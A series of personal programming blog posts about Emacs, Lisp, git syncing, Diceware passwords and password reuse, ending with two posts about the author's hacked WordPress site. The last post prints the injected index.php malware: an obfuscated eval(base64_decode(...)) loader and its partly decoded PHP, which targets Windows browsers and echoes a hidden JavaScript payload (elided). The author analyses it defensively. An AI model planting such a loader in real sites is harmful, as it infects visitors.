Syncing With Git Repositories

Last month, I wrote about how I keep my two main machines in sync using git and how, after doing a git pull, I use a bit of Elisp to automate the reverting of my open buffers. After automating the reversion of buffers, I noticed that pulling all my repositories was also a pain. I had been just pulling the repository that I was going to use but that meant it was easy to forget which repositories were up to date and get things out of sync.

I decided to write a quick script to pull all repositories at once. That way I could just run the script when I began work on one of the computers and be sure that everything was up to date. Here’s the pull-repos script:

#! /bin/bash
# -*- mode: sh -*-
REPOS="/Users/jcs/org /Users/jcs/medical /Users/jcs/tax /Users/jcs/.emacs.d"
for r in $REPOS
do
    cd $r
    pwd
    echo "========================="
    git pull
    echo
done

There’s nothing exciting here, of course. Most of the script is involved with outputting information as to what repository is being pulled.

The pull-repos script is already a big time saver but to really automate things I made it callable from Emacs and folded in the revert-all-buffers functionality.

(defun sync-repos ()
  "Pull from git repos and then revert all buffers."
  (interactive)
  (switch-to-buffer "*SYNC*")
  (goto-char (point-min))
  (shell-command "/Users/jcs/bin/pull-repos" "*SYNC*")
  (revert-all-buffers)
  (end-of-buffer)
  (insert (format-time-string "%Y-%m-%d %T\n"))
  (insert "Buffers reverted"))

Now I just call sync-repos and all my repositories are updated and all my buffers are reverted. One step when I first start using a machine: perfect.

Posted in General | Tagged | 7 Comments

The Master Speaks

The road to wisdom begins with a single step, grasshopper.

Posted in General | Tagged , | Leave a comment

Diceware in Lisp

I recently downloaded the Ironclad Cryptography Library with quicklisp and wanted to give it a spin. I thought a nice little project would be to implement the Diceware password generation algorithm in Lisp. This turned out to be really easy. I was expecting to use Ironclad primitives to get some random data, expand it with hashing, and use the result as an index to choose a word from the dictionary as I did with the C version. Instead, Ironclad provides the strong-random function that can provide the indicies with a single function call.

To implement the Diceware algorithm, I first downloaded the diceware8k.txt file that contains 8,192 words. Having the number of words be a power of 2 avoids a bias from the modulo operation—see Diceware Implementation (Part 2)—although strong-random avoids that at the expense of some extra work. The code itself is very simple:

(in-package #:cl-diceware)

(require 'ironclad)
(defparameter *words* nil)
(defparameter *prng* (ironclad:make-prng :fortuna))

(defun load-words (&optional (wd-list #P "~/Desktop/diceware8k.txt"))
  "Load *words* with diceware8k.txt."
  (with-open-file (s wd-list)
    (do ((wd (read-line s nil) (read-line s nil))
         ( i 0 (1+ i)))
        ((not wd))
      (setf (aref *words* i) wd))))

(defun choose-one ()
  "Randomly choose a single word from *words*."
  (aref *words* (ironclad:strong-random (length *words*) *prng*)))

(defun choose-password (n)
  "Generate n random words for a pass phrase. Initialize *words* if needed"
  (unless *words*
    (setf *words* (make-array 8192))
    (load-words))
  (let (words)
    (dotimes (i n)
      (push (choose-one) words))
    (reverse words)))

The choose-one function gets a (strong) random number between 0 and 8191 and uses it as an index into the *words* array. The choose-password function loads the dictionary into the *words* array if it hasn’t already been loaded and then calls choose-one the requested number of times. The random words are accumulated in the words local variable and returned at the end.

Here’s a sample call

CL-USER> (cl-diceware:choose-password 6)
("hath" "otto" "fly" "urea" "becalm" "seed")

Choosing 6 words gives 78 bits of entropy, more than enough for today’s hardware and technology.

Update: 6 words gives 72 bits of entropy → 6 words gives 78 bits of entropy

Posted in Programming | Tagged | Leave a comment

Using Expand-Region

Back in January I wrote about Magnar Sveen’s expand-region package that he described in Emacs Rocks #9. I recently loaded the code with ELPA and have been using it for my day-to-day work. I really like this package. It’s extraordinary how often selecting by semantic unit is the right thing. For a long time I selected text by typing 【Ctrl+Space】 and then manually moving the point with 【Ctrl+f】, 【Meta+f】 or something similar.

In almost every case expand-region will do the right thing with a call or two of 【Ctrl+=】. Take another look at Sveen’s video on expand-region and then download the code. You’ll need to set a keybinding for it in your .emacs or init.el. I use

(global-set-key (kbd "C-=") 'er/expand-region)

but you can, of course, set it to suit yourself. It’s also a good idea to checkout the package’s README on github, which explains how you can extend the package.

Posted in General | Tagged | Leave a comment

Password Reuse

I’ve mentioned Troy Hunt’s writings here before. Hunt writes regularly on security and always has something interesting to say. Last year I wrote about Hunt’s analysis of passwords from the Sony compromise and—sorry but it’s true—the stupid choices people make about passwords. Others have already commented that those people have learned nothing because the same weak, well-known passwords keep showing up, this time on Yahoo!.

It turns out, though, that it’s much worse than we thought. Hunt was interested in password reuse so he compared the passwords used by people who had accounts on both Sony and Yahoo!. Unbelievably, he found that a year after the Sony exploit 59% of users who also had an account on Yahoo! were still using the exact same password on Yahoo!. This despite the fact that those passwords have been public knowledge for over a year.

Posted in General | Tagged | Leave a comment

Working With Rectangles

Xah Lee has a nice updated post on working with rectangles and some other loosely related matters. Every time I see these commands I think how useful they are and then promptly forget about them. I’m going to make an effort to try to use them more often to set them in my mind.

I especially like the replace-rectangle and string-insert-rectangle commands that let you replace the rectangle or add text to the beginning of each line of the rectangle. A sometimes useful related command is kill-rectangle that just deletes the rectangle (and puts it in the kill ring).

Lee also presents a bit of Elisp that shows how to copy a rectangle into the system’s clipboard. I like this not because it’s something I want to do but because of the techniques he uses to copy the rectangle into the kill buffer. It’s something that looks like it could be useful in other contexts.

SUMMARY OF COMMANDS

 
COMMAND KEY BINDING
replace-rectange Ctrl+x r t
string-insert-rectangle Unbound
kill-rectangle Ctrl+x r k
Posted in General | Tagged | 1 Comment

Juan José García Ripoll: Lisp Hacker

This is slightly old news but over at Lisp, The Universe and Everything there’s a nice interview with Juan José García Ripoll, the developer of Embeddable Common Lisp. The thing about Ripoll is that he’s not a programmer1; he’s a physicist who got into Lisp because he wanted a better way of handling the simulations that were his bread and butter.

It’s interesting that non-programmer scientists, like Ripoll, would turn to what almost everyone considers one of the hardest programming languages to master. Of course, those of us who have embraced Lisp have no difficulty understanding this. Lisp allows the researcher to quickly represent his physical models without worrying about programming minutia. As Ripoll recounts, he was able to leverage the Lisp bignum capabilities to solve a 3-SAT problem in an afternoon and to produce an executable that ran faster than the problem’s C++ prototypes.

I like Ripoll’s story because it demonstrates how powerful Lisp is. If you’re a physicist faced with solving problems like his and your first thought is Fortran, you’re going to get eaten alive both by Fortran and by guys like Ripoll who leverage the power of Lisp.

If you’re a scientist using computer modeling, it would be well worth your while to take a look at Ripoll’s interview. If you’re a Lisper, you’ll love Ripoll’s story of problem solving with Lisp.

Footnotes:

1 Of course, Ripoll is a programmer. What I mean is that his primary job is not programming.

Posted in General | Tagged | 2 Comments

Searching for Blog Posts by Title

Last year I wrote about how I search for a blog post’s org file by the post’s title. That involved bringing up a dired buffer for the directory containing the source org files and doing a dired-do-search for a regular expression that looks like

TITLE:[ ]+Blog-Post-Title

That works well but it’s a little fussy because you have to mark all the org files in the dired buffer and the regular expression is tedious to enter. I finally decided it was time to truly automate this chore.

The following code prompts for the title (ignoring case) and then pops up the relevant file in a new buffer.

 1: (defun jcs-search-by-title (title)
 2:   "Search for a bog post source by title."
 3:   (interactive "sTitle: ")
 4:   (dolist (f (directory-files "~/org/blog" t ".*\\.org"))
 5:     (with-temp-buffer
 6:       (insert-file-contents f)
 7:       (let ((case-fold-search t))
 8:         (if (search-forward-regexp (concat "#\\+TITLE:\\s-*" title) nil t)
 9:           (progn
10:             (find-file f)
11:             (return t)))))))

The directory-files on line 4 returns at list of all the .org files in the directory that contains blog posts source files. Each of those files is placed in a temporary buffer on line 6 and a regular expression search is performed for the title line. If the search succeeds, the file is loaded into a new buffer ready for editing.

It doesn’t seem like much of an improvement over the old method but it makes it enough easier that I use it instead of just trying to guess the file’s name. I just love the way that Emacs’ extensibility allows me to optimize my work flow.

Posted in Programming | Tagged , | Leave a comment

Malware Free

I spent most of the day yesterday going over the entire site looking for malware. I made a local copy of irreal.org and grepped for the signatures that I discussed in my Anatomy of an Exploit post. I didn’t find anything so I used curl with the appropriate USER_AGENT string to request pages that Google said were infected. Again, I didn’t find anything so I asked Google to do a rescan and they agree that the site is clean.

As I wrote previously, I’ve upgraded WordPress and I’ve changed passwords so I don’t anticipate any further problems. As annoying as it was having Google flag the site, I’m grateful for them having alerted me—and you—to the problem.

Now back to our regularly scheduled blogging.

Posted in Administrivia | Tagged | Leave a comment

Anatomy of an Exploit

As I wrote yesterday, someone hacked the Irreal WordPress installation causing it to inject JavaScript into pages served by the blog. Here’s a copy of the hacked index.php file:

<?php eval(base64_decode('JGlwPSRfU0VSVkVS  /* elided */ );?>
<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');
?>

Importing that file into Emacs and using the base64-decode-region function, that first line turns out to be

<?php
eval(base64_decode('$ip=$_SERVER["REMOTE_ADDR"];$dr=$_SERVER["DOCUMENT_ROOT"];$ua
= $_SERVER['HTTP_USER_AGENT'];$dbf=$dr.'/'.md5($dr);
if((strpos($ua,'Windows')!==false)&&((strpos($ua,'MSIE')!==false)||(strpos($ua,'Firefox')!==false))&&(strpos(@file_get_contents($dbf),$ip)
=== false)){ error_reporting(0);
echo(base64_decode('PHNjcmlwdD50cnl7MS1wcm90b3R5 /* elided */ ); if
($fp = @fopen($dbf , "a")){fputs($fp , $ip.'|'); fclose($fp);} }'));?>

I’m not a PHP or JavaScript programmer so I had to bootstrap my knowledge of C to figure out what’s going on. As you can see, the code checks to see if it’s running on a Windows machine that is using either Internet Explorer or Firefox and also makes a check on the file contents that I don’t understand. If those checks pass, it echos the payload onto the page. Notice that new call to base64_decode. When it’s decoded it expands to some byte-compiled JavaScript. I didn’t bother decompiling it because, as I say, I’m not a JS programmer and would only have a vague notion of what it was doing.

All of this was pretty easy to figure out once I got the index.php file into Emacs. As usual, it had all the tools I needed. I’m beginning to think that there might be something to the old joke that Emacs is not an editor, it’s an operating system.

Posted in General | Tagged , | 5 Comments